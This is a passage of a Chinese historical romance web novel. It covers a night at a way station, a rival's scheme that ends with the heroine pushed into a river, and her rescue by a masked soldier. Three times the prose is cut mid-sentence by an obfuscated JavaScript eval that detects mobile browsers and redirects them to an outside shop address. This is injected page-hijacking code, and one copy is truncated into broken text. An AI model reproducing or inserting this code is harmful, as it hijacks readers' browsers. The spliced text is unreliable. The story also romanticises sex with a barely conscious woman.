陈英只觉自己是一片浮云,在天地间悠游徜徉,忽而又变成一片落叶,被风吹起在空中四处飘旋,最后又落到湍急的溪流中,随着流水浮浮沉沉。 倏地,她又感觉天地倒悬,意识在混沌中飘摇不定,而身体就像是一株无处攀附的藤蔓,不受控制地战栗。 直到脊背处涌出一阵阵酥麻感,四肢也开始变得绵软无力,骤然间,陈英乱了心跳。 这异常狂乱的心跳,像咚咚鼓声敲打在耳膜上,浑身血液也跟着沸腾起来。 不知过了多久,就在陈英意识快要涣散时,门外传来一阵脚步声。 那脚步声,清浅而急促。 随着门被推开的声响,陈英脑中晃过一瞬惊惶。她下意识咬紧唇瓣,不让那令人羞耻的嘤咛声溢出一丝一毫。 “咦……怎么没人点灯?”女子一声低喃,婉转如勾,带着几分糜荡春情,像是醉酒后的娇慵。 陈英躺在床榻上,听到外面声音,她皱了皱眉,奋力地想要睁开眼,却怎么也挣不开。这个时候的她,仅剩的一点意识,也在慢慢消散。 “头好疼啊,今晚不该饮酒……”女子语气倦慵的嘟囔着,以手扶额,一边步态蹒跚地朝床榻走近。 黑天半夜,室内无光。 等到眼睫逐渐适应黑暗,借着透进来的微弱月光,赵双宁终于看到床榻上侧身而卧的身影。 视线沿着床榻上的身影一寸寸游移,在夜色遮掩下,她的脸颊渐渐滚烫,却不是因为醉酒。 其实今晚她并未饮酒,不过是让身上沾些酒气,好装作醉酒误入言昱安的屋舍。 言昱安这般前途无量,又俊美如玉的郎君,若是到了京城,想与他结亲的人家怕不知会有多少。 又一想到,云州官绅争相给他送美人,可他偏偏看上了陈英,一个出身卑微,性子跳脱又大胆的女子。 赵双宁想到自己窥见他看向陈英时的眼神,是那么的宠溺,那么的温柔,她不禁面上一热,心中也越发笃定,扣在腰带上的指尖轻颤了一下。 随着她的衣裳一件件落地,浓郁的酒气逐渐飘散满室。 即便是这般春寒料峭的夜晚,她□□立在床榻边,浑身竟发烫得如火烤,怦怦心跳如鼓声,像是在怂恿她,催促她。 望着近在咫尺的男子身影,静了几息后,她终于红着脸,赤身拥了上去。 “嗯呃……”身下的人发出一声低吟。 赵双宁浑身一僵,心中翻腾的情潮,瞬间凝结成冰。 黑暗中,她猛然撑起手臂,瞪大眼睛,一瞬不瞬地盯着怀里的人。抓住床褥的手指逐渐收拢,指甲陷入掌心。 只一刹间,赵双宁脑中似炸开一道闪电,万千思绪荡然一空。 望着那张熟睡的脸,赵双宁眼底的惊惶,终于一点点褪去。静了几息,确定那人真的昏睡没醒,悬起的心终于落了下来。 她阴沉着脸,从床榻上爬起来,在黑暗中狼狈地找寻衣裳,一边咬牙气恼得浑身发抖。 床榻上根本不是言昱安,而是陈英! 仓促间裹上凌乱的衣裳,赵双宁忙不迭地要离开。只在出门前,她蓦地回头,深深望了一眼床榻上昏睡的陈英。静谧夜色中,她的眼眸阴狠至极,夹杂着说不清的怨毒。 月上中天,夜静更阑。 在驿馆后院一处不起眼的房舍内,有幽微烛光漏出,还有隐隐约约说话声。 房舍外四周有护卫把守,平康怀里揣着手炉,一边偷偷打量身旁那个魁梧男子。 那人一身黑衣,腰间悬刀,若不是他手下压着的刀鞘,鎏金纹式泛着些许寒光,他整个人几乎要与夜色融为一体。 这些行伍之人,身上自带一种肃杀之气,仅是靠近就觉得慑人胆寒,平康垂着眼,悄悄往旁侧又挪了挪。 这时,门吱呀一声开了。 言昱安从屋里走了出来,昏黄烛光落在他沉静脸庞上,眉间沉凝,似还思索着方才谈论的军务。 平康从怀里掏出暖炉,递到言昱安手中,低声说,“主子,今夜驿馆外没有任何动静。” 言昱安神思一收,点了点头,缓步朝前走去。 今夜与人密谈,并不想惹人耳目。是以让陈英在他房中歇息,以便替他遮掩,他好脱身前来赴约。倒不是他有什么见不得人的事,而是约见他的人身份特殊,若让旁人察觉,难免惹出麻烦。 刚上驿馆二楼,发现屋内漆黑,想是陈英已经睡下了。言昱安脚步一顿,正打算另寻住处安寝,这时漆黑的房间内,传出一声轻飘如羽毛般的隐忍低吟声。 言昱安直觉不对劲,接过平康手中灯笼,然后吩咐人退下,自己慢慢推门进去。 随着灯烛点亮,言昱安抬眸望向床榻,眼底骤然一沉。 陈英闭眼躺在床榻上,身上只着一袭单薄的雪白里衣,她的双手正胡乱揪扯衣襟,两条玉白长腿纠缠踢腾,似是想要挣脱什么。她双眸紧闭,衣襟半敞,巴掌大的小脸上,两腮潮红,贝齿轻咬着唇瓣,口中断断续续溢出模糊的娇吟声。 她这是,被梦魇住了? 言昱安刚走近床榻,就闻到一股浓浓酒气,又瞧见她这般模样,心中便猜测,她大抵是饮酒了。 他嘴角微弯,眼底忧虑终于散去,想着明日等她醒来,定要好好训诫几句。 温柔的目光落在女子脸庞上,又不受控制地,移向那如凝脂般莹白的脖颈,还有那脖颈下随着呼吸起伏,衣衫半掩的浑圆,如含苞待放的花蕾,媚态横流,春色撩人。 烛光忽闪,言昱安喉结滚了滚。 他忽然闭眼,掩去眼底涌动的欲色,声音微哑地唤了声:“阿英。” 并不期待得到回应,他自嘲般轻扯了下唇角,克制下身体的僵硬和脸红,他再次掀开眼帘,眼底已是一片清明。 他俯身拉起衾被,将陈英玉颈下裸露的肌肤遮掩得严严实实。 正要起身准备离去,突然就对上一双琉璃般的乌眸。 刹那间,言昱安便僵住了。 此刻,陈英大脑浑浑噩噩,神志并未清醒,大抵是因体内燥热,她蹬掉了衾被,然后蓦地睁开眼,眸中含着水雾,眼神幽怨地望着面前男子。 对上陈英这般眼神,言昱安眸色渐深,绵长呼吸中透露着一丝不稳。 陈英歪着脑袋,痴痴望着言昱安,眸光盈盈,好似不认识般盯着他看。忽然她嘤咛一声,伸出一截光溜溜的手臂,扯着男子衣袖,憨憨笑起来,“好俊俏的郎君,好像我的言郎。” “我的言郎”几字一出,言昱安心口猛然一窒,呼吸变得粗重。 还不等他做出反应,床榻上少女忽然曲腿坐起,墨发如云披散,映着一张酡红清艳的小脸。 她忽然倾身,玉藕般光洁的双臂缠上男子颈间。 她仰起头,轻轻眨了眨猫儿般的眼瞳,眸光流转如琉璃,映照着面前俊美郎君。 似是在反复确认着什么,她忽而向他凑近,小而翘的鼻尖不小心蹭到他光洁的下巴。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289400|152082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恍惚了一瞬,目光如痴,小手情不自禁摸上他的下巴,手指沿着那温润紧实的线条,如拨弦抚琴般缓缓游移。 直到手指滑到喉结上,轻轻来回抚摸着,她口中不禁喃喃说着,“这里怎么肿了好大一个包?你疼不疼啊?” 声音绵软又娇滴滴,说完也不等人回答。她径自圈紧他脖颈,直起身,嘟起嘴唇凑近他的喉结,轻轻吹气,馨暖的气息拂过男子颈间,激起一阵酥麻痒意。 言昱安面红如血,喉结又滚了滚,声音隐忍而克制,低低唤她,“阿英,别闹了。” 声音微哑,像微风拂过沙丘般沉磁且温柔,一点也没有训诫人的气势,倒像是无可奈何的宠溺。 陈英歪着头,像是看到什么新奇事物般,怔愣半晌后,她用手指戳了戳他的喉结,茫茫然地眨眼,“它居然会动?这个包,可真奇怪啊。” 言昱安实在没法,捉住她作乱的小手,一把将她按进怀中。 陈英贴着他胸膛,耳朵里尽是他砰砰有力的心跳声。男子身上好闻的甘松香将她包裹,她依偎在他怀中觉得舒服极了,又不自觉地往里蹭了蹭。 言昱安浑身僵硬,俊脸绯红,似是无奈般皱眉轻叹道,“这究竟是喝了多少酒?” 陈英抬起沉甸甸的脑袋,双眼迷离地看向他。然后她翘起一根兰花指,轻轻点上言昱安的嘴唇,红着脸娇憨一笑。 她似是后知后觉,半晌才回答他,“你尝一下,不就知道啦?” 声音糜荡含情,带着勾魂摄魄的挑弄。 言昱安扣住她手指,声音滚烫,“好。” 他正要哄怀里小醉猫去睡觉,便觉唇上一热,是陈英的唇贴上了他的唇。 唇瓣上的柔软辗转流连,似是不得其法,那香舌一点点勾缠,在他唇上反复研磨,终于冲破他唇齿桎梏,抵进口腔中追逐他的舌头,抵死缠绵。 言昱安的气息彻底乱了,陈英双手攀上他脖颈,身子覆上来,将他按倒在床榻上。男子闷哼一声,红着脸撇过头去,想要避开她的蛮缠。 好不容易获得喘息机会,陈英又像藤蔓一样缠上来。 她浑身筋骨像被沸腾血液融化了般酥软,丝绸般白嫩的肌肤,紧密贴合在男子身躯上,像是痴缠大树的一株藤蔓,在微风中一阵阵颤栗,时而舒展,时而瑟缩。 听到屋内细碎声响,外头守卫们纷纷红了耳根,心中惊叹,主子爷好生威猛。 许是这夜太过旖旎,太过春情潋滟。就连屋顶被人掀开一片灰瓦,此刻都无人察觉。 屋顶上,一名黑衣男子脸色发白,握着灰瓦的手指骨节凸起,手臂上青筋暴涨。他俯身往下探看,视线定在那飘卷晃动的床帐上,耳边尽是糜荡的娇吟声,他下颌绷的死紧。 直到听见床帐内,传出女子吃痛的惊呼声,黑衣男子眼神瞬间变得冷厉,甚至握紧了手中泛着寒光的刀鞘,强忍住此刻心中升腾起的杀意。 那是他从小疼爱的妹妹,怎可被别的男人这般欺辱? 雷成闭了闭眼,想到这些年自己经历过的战火纷飞,刀光血影,眉宇间不由深深皱起。 当年若不是父亲将妹妹送去京城,那时还是小丫头的她遇上云州沦陷,那些北狄人烧杀抢掠,无恶不作,她哪里还有活命的机会? 这般想着,心中沉重块垒终于卸去,他痛苦地叹息一声,将瓦片重新盖上,然后趁着茫茫夜色,飞身离去。 此时他心中唯一念头是,再等等。 等他在大战中立下战功,等他凯旋入京受赏那一天,等他有能力护她一生无虞,到那时他才有资格与她相认。 倘或他不幸战死,但愿妹妹永远不要知道。 72. 第 72 章 清晨下起濛濛细雨,细雨如丝,绵绵不绝。 许是天色阴沉,令人倍感惺忪困倦。陈英茫茫然睁眼,只觉眼前光线昏暗,以为天还未亮,她又闭上眼,昏昏睡去。 直到临近午时,雨过天晴。陈英才悠悠转醒,伸手拨开纱帐,模糊地朝外望去,慢慢地,她眼神便是一定。 明窗下,坐着一个正伏案书写的青衫男子。在他身畔,一缕轻烟正从香炉中缓缓升起。 轻烟在虚空中缓慢浮动,恰逢雨后阳光斜照进来,竟变幻出一种奇异色彩,它近似于蓝色,又不是纯粹的蓝,而是蓝中略微泛红的紫色。 紫烟飘荡,于无声中,萦绕着谪仙般清逸脱俗的郎君。 言昱安坐在那里,神清骨秀,竟好似披云雾见青山,恬静闲适。又如此神采英拔,俊美得让人移不开眼睛。 这一眼,胜万年,陈英只觉心脏猛然一阵悸动。 似有所感,那人忽然掀眸,冲她温柔一笑。 陈英仿佛被那目光所灼,面颊突然发烫,挑着纱帐的手猛然回缩。纱帐再次垂落,阻断了彼此视线,她捂着怦怦乱跳的心脏,惊惶坐起。 随着她动作,衾被滑落,玉白肌肤上斑斑点点红痕,瞬间展露在眼前。她呼吸一滞,急忙扯起衾被,紧紧捂着胸口。脑中不断闪现凌乱画面,她脸色越变越白,然后整个人彻底傻住了。 昨晚她喝醉了?还主动勾引言昱安? 得出这个结论,陈英捂着通红的脸,然后无比羞愤地,朝自己面颊拍打几下。 “阿英,可是头疼了?” 这时,言昱安闻声,似是猜到些许。他莞尔一笑,搁下手中毛笔走到床榻边,轻轻撩开纱帘。 他目光温柔地看向陈英,视线触及她红肿未消的嘴唇时,愣怔了一瞬,随即垂下眼眸,认真叮嘱她说,“饮酒伤身,以后莫要再贪杯了。” “我不知道,那酒会那么醉人。” 陈英小声辩解着,总觉得这时候他还理直气壮教训她,心里便觉得憋屈,可一想到昨晚自己的荒唐行径,便又红了耳根,支支吾吾问他,“昨晚,你为何不躲开我?” 不等人回答,她便低下头,兀自尴尬一笑,“明明吃醉酒的人是我,胡闹折腾的人也是我,可犯了错却总想为自己开脱点什么。” 深吸口气,她又仰头看向言昱安,眨了眨亮晶晶的眼睛,“可我现在既不后悔,也不觉难过。能和喜欢的郎君一起做快乐的事,又有什么不好呢?” 在她灼灼注视中,言昱安眼睫轻颤一下,掀眸静静地看向她。 那双眼,悠远而深邃,宛如深秋夜空渺远璀璨的星辰。他望着陈英,眼里含着一丝期许,声音有些发涩说,“那今后你还躲着我吗?” 陈英眼底闪过一瞬慌乱,抿着唇低下头。 言昱安嘴角一弯,淡淡笑容如微风拂过,将面上隐隐落寞一扫而空。 就在他以为陈英不会回答时,女子清灵嗓音如青瓷般冷然沉静,透着几分疏离,“还是要顾忌名声的。于你不过是添一桩风流韵事作为笑谈,而我怕是会声名狼藉,沦为千夫所指。” “这世道,向来是对女子太过苛刻。” 她说这些话时,并没有看言昱安,而是起身走下床榻。 她便在男子面前毫无羞怯地,赤身走到屏风后洗漱穿衣。这样的她,一改以往的怯懦自卑,从屏风后伸出头,冲着言昱安明媚一笑,“我可否穿件你的衣裳?” 言昱安朝她点了点头,然后视线一转,望向窗外明媚的春光。半晌,他幽幽叹了口气,语调轻缓说,“我的阿英,真的长大了。” 他的声音依旧温和平静,可说出的话,多少带着几分惆怅。 陈英听出他语气复杂,心里却十分开怀。换完衣裳后,她坐在铜镜前开始梳发,忍不住回他一句,“长大了,有什么不好吗?” 言昱安来到她身后,忽然抬起手臂,也不顾她眼底的惊诧,接过她手里木梳,然后捧起她颈后的一缕乌发,开始慢慢替她梳理起来。 他低垂的眉眼里尽是温柔,就连他手中动作也是如水般温柔。 木梳从陈英头顶梳到发梢时,那种舒缓中夹杂酥麻的感觉,如三月春风携着花香,以一种恬美的温柔拂过心田。 言昱安连眼皮都没抬,只淡淡吐出两个字,“不好。” 声音很轻,却果断坚定。 陈英面上一怔,侧过头来望向他。 感觉到她的诧异,言昱安浓眉一挑,停下手里动作。 在陈英仰着头等他解释时,言昱安勾起她的发尾在指尖婆娑,然后垂着眼眸说,“小时候的阿英,遇到难事,会扑到世子哥哥怀里哭诉求助。而现在,阿英不再依靠世子哥哥,甚至都不再叫我一声哥哥。” 在陈英惊诧的目光中,他又徐徐说道,“这世道于女子而言,的确更为艰难些。在来云州之前,我甚至认真考虑过替你寻一门好亲事。对方门第不必太显赫,只要后宅祥和,郎君人品贵重,这般才不算叫你委屈。” “我以为,只要我立身朝堂一日,你的夫家便不敢薄待你。” 他停顿了会儿,声音放低,语气也越发温柔,“可是现在我后悔了,我不想放手了。” 陈英眼眶酸涩,心像是被什么狠狠揪痛了一下。明明坐在圆凳上,她还是轻晃了一下,伸手紧紧按着桌沿,指尖隐隐泛白。 她咬着牙,静了几息,才让声音听起来平稳如常,“我答应过你,回京后会做你的外室之妇。” 她的声音一落,言昱安便哑然一笑,掀眸看向她,“之后呢?从此过着受世人指指点点的日子,永远不能和我光明正大的在一起?” 他想要的,绝不是和她这样遮遮掩掩一辈子。他想要她,想将她护在自己羽翼之下,想与她长相厮守共白头。 陈英听出他话里的意思,她慢慢起身,慢慢将头发绾成一个髻。 言昱安静静看着她戴上发冠,看着她整理衣襟,等一切穿戴整齐后,她也已经走到门边。 这般站在门边,陈英扭头看了他一眼,“我此生不会给任何人做妾,哪怕那个人,是你。” 说完她伸手推开门,头也不回地离去。 自那夜过后,赵双宁便一直称病,在房中静养。 一来,那晚她衣衫不整回房,身子受了凉,又加上担惊受怕,彻夜未眠。心中更是怀疑,陈英是不是记得那晚的事?她会不会已经识破自己的龌龊伎俩,甚至都告诉了言昱安? 因为雨后道路泥泞,众人又在驿馆暂歇了两日,等到道路彻底恢复干燥,车队终于踏上了归京的旅程。 马车外,阳光炽烈,微风不燥。然而,赵双宁心里却仍是阴云密布,她掀开车帘一角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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山崩地裂这样事情,以前只在茶楼里听说书人绘声绘色地讲过,当时只觉地龙翻身的说法未免夸大其词了些,直到此刻,亲身经历一回,方觉得人如蝼蚁,在天灾面前是何其渺小。 好在隔着巨石喊话,两边人马都知晓了对方大多是平安的。 陈英也没有受伤,但她的马夫被乱石砸伤了腿,无法再替她驾车了。 陈英帮车夫包扎好伤口,又让护卫将车夫扶上马车歇息,她自己又去前面查看道路被阻的情况。 前方被巨石阻断的道路上,两边人都在奋力驱马拖拽拦路石。此时马嘶不止,马蹄疾蹬,地面尘土飞扬,四处弥漫着呛人的烟尘。谁也顾不上泥土沾身,个个弄得灰头土脸。 香玉走到陈英身畔,递给她一个水囊,“英姑娘,这路怕是一时半会儿还通不了呢。” 陈英接过水囊饮了一口,缓缓点了点头。 “那边有条小河,英姑娘要不要过去洗把脸?” 香玉抬手指了个方向,又有些不自然地讪笑说,“我方才过去给我家姑娘打了桶水,那河水甚是清澈呢,只可惜我还没来得及在河边洗一洗。” 陈英低头看了眼自己沾满尘土的衣裳,不由地赧然一笑。这一笑,眼眸清亮,烁烁放光,颇有几分劫后余生的喜悦。 方才得知言昱安毫发无伤,她的心也跟着松泛起来。 是以,她抬眸朝香玉眨了眨眼,十分爽快说,“好啊,我跟你一块去。” 73. 第 73 章 地动过后,空气里弥漫着难闻的土腥气。 马车中赵双宁用帕子轻掩口鼻,悄悄掀开车帘往外瞧。 看到陈英和香玉走远的背影,赵双宁眼底极快地闪过一瞬狠毒,继而勾起唇,无声一笑。 这一刻时间仿若凝固般,竟如此的漫长。赵双宁手心掐得出汗,凝神听着外头动静。 地动过后,众人正齐心协力拖拽拦路巨石。哪怕外面人喊马嘶,赵双宁始终神情木然地坐在马车里,盯着被微风吹动的车帘,怔怔出神。 不知过了多久,外面终于传来一声女子尖厉呼喊声,“快来人啊,有人落水啦。” 是香玉的声音,事情办成了?! 赵双宁胸口一阵起伏,压下眼底涌起的激动。她快速收敛情绪,从马车上下来,远远便冲香玉喊道,“发生何事了?” 香玉突然跌坐在地,捂着脸哭喊,“是英姑娘,英姑娘她失足落水了。” 见众人齐刷刷望来,香玉抬起手,颤颤地指了个方向。 听到“英姑娘”三个字,几个护卫无不露出惊骇神情,他们彼此对视一眼,然后齐齐扔掉手中绳索,朝着香玉所指的方向飞奔而去。 他们都是言昱安的护卫,谁人不知陈英在主子心中的分量,英姑娘若有个好歹,他们怕是万死难辞其咎。 马车前,只剩下细声哽咽的香玉,赵双宁见众人都散了,这才俯身将她扶起。 主仆二人悄然对视一眼,香玉用手帕装作拭泪,朝着赵双宁微微颔首。仅一个动作,便让赵双宁心神大震,嘴角翘起的弧度险些快压不住。 但场面功夫,还是要做足的。她假模假样地皱起眉,语气关切说,“英姑娘吉人自有天相,相信她定会平安无事的。” 说完后,主仆俩人相互搀着上了马车,至此不再露脸。 言昱安收到陈英落水的消息时,他正与几个幕僚商议道路塌陷,车队如何改道的事情。 他正在查阅舆图,身后一阵脚步声传来。护卫首领上前禀报,“大人,巨石都已清除,道路恢复畅通了。” 不等人发话,那护卫又猛地单膝跪地,沉痛地说,“属下刚获悉,英姑娘她落水了。” “卑职已派人前去营救,只是那河水湍急,我等无能,暂未寻到英姑娘下落。” 梗着脖子说完后,那护卫更是羞愧得伏地不起。 言昱安背脊一僵,好一会儿,他才转过身来,望着跪伏在地的护卫,气息有些不稳地问,“她……她落水多久了?身边可有其他人在场?” 众人何曾听到过他像这样说话?各个神色凝重,心中有不好的预感。那护卫汗流至踵,以额贴地说,“约莫半个时辰前,是赵府的丫鬟最先发现的。” 顿了顿,他又低声补充道,“当时众人都在帮着疏通道路,英姑娘身边并无旁人。” 言昱安眼眸沉了沉,冷冷扫过众人,声音漠然至极,“竟是没有一个护卫留意到她,看来是我疏忽大意了。” 他说到这里,夺过护卫手中缰绳,一甩衣袖翻身上马离去。 此番随行的,都是武安侯府的亲卫,言昱安此话一出,他们便都齐刷刷跪地俯首,汗如雨下。 分明是他们护卫不力,主子却没有责怪他们一个字,却还把疏忽的罪责统统揽在他自己身上。这般令主子失望,他们简直要羞愧得无地自容了。 望着言昱安策马离去的背影,护卫首领抬起头,咬牙说,“让主子失望,实是我等无能。若不能将英姑娘平安救回,愿以死谢罪。” 他声音不大,并不是说给已经走远的言昱安听,而是说给自己,以及身边其他人听。 其余几个护卫脸色一阵青白,腮帮咬得死紧,眼底均是决绝之色。 陈英是被夜风冻醒的。 她甫一睁眼,便是一团跳跃火光映入眼底。 那橘红色火光堪堪照亮方圆几丈,定睛一看,四周是一片漆黑密林。因还在初春时节,林间枝叶并不繁茂,是以透出黑蓝色天幕上点点银白疏星。 摸了摸自己身上已经半干的衣裳,陈英慢慢坐起身。 几乎是她刚一坐起,一个陌生的男子声音传来,“你醒了?身上可有哪里不适?” 陈英浑身一凛,霍然抬头望去。 她看到的是,一个斜靠在树下的黑色身影,那人侧身对着她,大半个身躯隐藏在火光找不见的黑暗中。他半蒙着脸,微拧的浓眉下,只露出一双如聚光般明亮而锐利的眼眸,有种不怒自威的冷硬气势。 竟是莫名的,有种似曾相识之感。 一时却又不能断定,陈英试探着问,“是你救了我吗?” 那人一言不发,起身往火堆里添了些干柴,然后他盘腿坐下,隔着火光朝陈英看来。 这人有着一双明锐得如箭镞般的眼睛,浑身散发着如兵刃般阴烈的煞气。这是一种只在行伍之人身上,才会显现出的冷硬气势。 见陈英伸手烤火,蒙面男子脱下外袍朝她抛去,语气有些不自然,“衣裳是干的,你披上吧。” 明明是一句关心人的话,可从他口中说出来,竟是透出一股别扭劲儿,显然这不是他平日与人说话的语气。 “多谢恩公。”陈英捧起外袍,扬唇一笑。 没有半点迟疑,她利落地披上外袍,然后神态自若地坐直身子,五指成梳,随意地将凌乱的长发理顺。 虽然这一天历经过地动和落水,可自从醒来到现在,她脸上不见丝毫惊惧和狼狈,此刻更是能绽开笑容,从容应对陌生的处境。 足可见,这些年她在言昱安身边不卑不亢,举止心性被教养的很好。 隔着火堆,雷成细细打量着她,眸中不觉浮现出欣慰之色。 好半晌,他才终于开口了,“今夜你且安心歇息,明日一早,我会送你回去。” 他的声音有些刻意地低沉,但还是让陈英觉出几分熟悉。 这个蒙面男人究竟是谁?可曾在哪里见过?一时间她想不起来。 只是这般孤男寡女相对而坐,又被他这般毫不掩饰的眼神,直直盯视着,心里说不在意不害怕,那都是假的。 “恩公是恰巧路过救了我吗?” 陈英神情紧张地望向他,努力露出个笑容来,“我总觉得郎君有些许眼熟,我们是不是在哪里见过啊?” 顿了顿,她乌眸一转,“若非如此,郎君为何要蒙着面?难道是怕被我认出来吗?” 原本不过是活跃气氛,带着几分试探的意思,可每一句话都像是一支箭,恰恰都正中心脏。 雷成呼吸一滞,一时间心生愧疚,终于还是心软了。 “我们的确见过。” 雷成扯下蒙面的黑布,轻声一笑,“不知阿英姑娘,可还记得在下?” 这一下,陈英彻底僵住了。 的确是没想到,这个人真的会摘下面罩来。而面罩后这张脸,她也的确是见过,甚至还不止一次。 第一次,是在狮吼山,那时他还是她帐外扫雪的士兵,她给他送过一壶姜汤。 第二次,是在云州城主府的夜宴上,那时他是前来赴宴的宾客,而她阴差阳错扮作侍酒的奴仆,还不小心弄湿他的衣裳,后来她被人刁难,也是他挺身而出帮她解围。 饶是见过两次,她还是没能记住他的名字,实在令人汗颜。 她站起身,慎而重之的朝男子盈盈一拜,“我和恩公有过数面之缘,又得恩公两次出手相救。却还是没能记住恩公姓名,阿英实在是羞愧难当。” 面红过耳,几乎快要无地自容了。 雷成却是不恼,反而爽朗一笑,起身正要将陈英扶起,就听到密林间传来一阵窸窸窣窣的响动声。 还不待陈英转头看清是什么,雷成便一把扯下她的外袍。 只见他猿臂一展,用外袍卷起地上尘土,将火堆扑灭。然后他凑到陈英耳边,低道一声,“得罪了。” 陈英还没反应过来,只觉腰间一紧,整个人便被他抱着飞身到树杈上。 黑魆魆的密林中,很快传来一阵人语声。 “哥几个都歇会儿吧,老子真跑不动了。”一个呼吸粗重的男声传来,紧接着是气喘如牛的呼吸声。 “歇什么歇啊,被那姓孙的逮到,都得他娘的完蛋。”另一个嗓门略高的声音传来,语气颇为忿忿不耐。 这时,一个稍低的声音响起,“再忍忍吧,等穿过这片林子找到渡船南下,咱们哥几个才算真的躲过了啊。” 顿了顿,那人又用讨好且猥琐的语气说,“咱哥几个这些年从军,连只母耗子都没见过。等到了南边,想找什么样的女人没有啊,是不是?再加把劲儿,渡船就在前头了。” “要不是当年云州沦陷,家人都死光了,老子才不会入伍。要再跟北狄人对上,战场上第一个死的就是老子,老子这条贱命,死了连抚恤金都没人领。” “可别提这个,想想都觉得真他娘的晦气。” “我呸,去他娘的打仗,老子不干了。” 骂骂咧咧的声音越来越远,直到几人渐渐消失在密林中。 这时,陈英慢慢抬起头,霜白月光下,她那清冷眼眸定定地看向面前男子。 他会不会跟方才那些人一样,也是从军营私逃出来的……逃兵? 朝廷与北狄的大战迫在眉睫,这个关键时刻,他却独自一人出现在南下渡河边,还顺手救了落水的自己,这番一联想,如何不叫人生疑? 况且我朝军纪严明,若无军令,任何人都不得私自出营。逃兵一旦被捉回去,是会被枭首示众的。 陈英只觉夜风冷得刺骨,指尖已经冻得没了知觉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14289402|152082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在她已经大概猜到他的身份,那万一他有所察觉,会不会杀死自己灭口? 即便是被推落水的那一刻,她都还没来得及害怕。眼耳口鼻瞬间被灌满水,濒临死亡的窒息感,只会令她出自本能的痛苦挣扎。 而不像此刻,窥探到不该知晓的秘密,那种刀悬在头顶的恐惧折磨。 陈英脸色煞白,正胡乱揣测眼前这位救命恩人,会不会变成索命的恶鬼罗刹时,雷成瞧见她煞白的小脸,不由低声一笑。 这突兀的笑声,惊得陈英眸光一颤,站在树杈上的腿一软,险些就要掉下去。 雷成眼疾手快,揽着她的腰按进怀中,“这会儿知道害怕了?我还以为你浑身是胆呢。” 两人瞬间成搂抱姿势,他呼吸时的温热之气,都喷洒在陈英脸上。男人身上陌生的气息袭来,陈英只觉得后背泛起冷汗,汗毛根根立起。 见她不说话,雷成忽地哑笑一声,“你方才也瞧见了,这世道并不太平。你我也算有缘,你若不愿回京城给人为奴为婢,你可以跟我走,我把你当亲妹妹一样照顾可好?” 抵在他胸膛的小手用力推了一下,雷成脸上散漫的笑容一收,沉眉看向陈英,“你若是不愿意,还是想跟着那位言大人回京,我也不会阻拦。只等明日天一亮,我便会把你平安送回去。” “但我还是那句话,不论何时何地,我都会把你当亲妹妹一样对待。” 沉默片刻,他又语气幽淡地说,“若是将来我不幸战死,我的抚恤金也会托人送到你手里。” 陈英死死咬着唇,没有回答。 半晌不见林间动静,雷成抱着陈英飞身从树上跳下来,脚刚一沾地,他便松了手,从怀中摸出一个火折子,再次点燃火堆。 微弱的火光,很快将四周照亮。火堆旁的少女抱膝而坐,她那昳丽的容颜被火光照亮,刹那间仿若芙蓉绽放,天地为之失色,星月为之遮辉。 纵是蓬头散发,脂粉未施,那张脸也如月光下幽幽绽放的白昙花,美得令人惊心。 雷成静静看着她,眼角眉梢的冷硬也终于散去,他的神情也逐渐变得温柔起来。 好一会儿,陈英低微而感伤的声音传来,“我原本是有一个阿兄的,可我已经和他失散很多年了。” 她扯了扯唇,眼眸坚定道,“可不管怎样,这辈子我只认这一个阿兄,不会再做他人的妹妹。” 这话一出,雷成僵住了。 陈英抬起头,细细观察雷成的神色,半晌,她抿了抿唇说,“加上这一回,你和我拢共也才见过三次,甚至我连你的名字都不记得。你为何执意要将我认作妹妹?” 她已经开始起疑了?终究还是他太过急迫了,私心里太想和她相认,这会儿怕是已被她瞧出些端倪。 一阵夜风拂过,雷成沉眉定了定神,终于冷静下来。 他捡起地上的外袍,掸了掸尘土,然后慢悠悠地走到陈英身旁,笑容透着轻浮,“姑娘貌美如斯,我若不以兄长自居,怕是会惹得姑娘心生惧意吧?” “毕竟这月黑风高夜,你我又是孤男寡女,难免不叫人浮想联翩。” 几乎是他一边慢条斯理说着,那件外袍便朝陈英拢了过来。 他正面对着她,双臂环抱的姿势替陈英披上外袍,又将她散落在衣襟内长发,轻轻捋了出来。 男子粗粝的手指,似有意又似无意地,几乎快要触碰到女子颈间细嫩的肌肤。 陈英蜷了蜷手指,身体不可抑制地发颤,偏过头去不敢看他。 心想着要不要伸手推开他,正在犹豫之际,雷成已收回手,顺势在她身旁坐下。 他身子往后一仰,手肘撑着地,两条长腿随意交叠着,一副浪荡又散漫的模样。 明锐的眼眸朝陈英上下打量起来,然后他眯了眯眼,透出几分痞气,“你怎么不说话了?” “既然不愿做我的妹妹,不如做我未过门的小媳妇?” “但我将来建功立业,成为威风凛凛的大将军,不晓得多少姑娘追着喊着要嫁我呢。这么好的机会,你不把握一下?只要你肯答应等我……” “阿……阿嚏!”陈英揉了揉鼻子,朝他尴尬一笑。 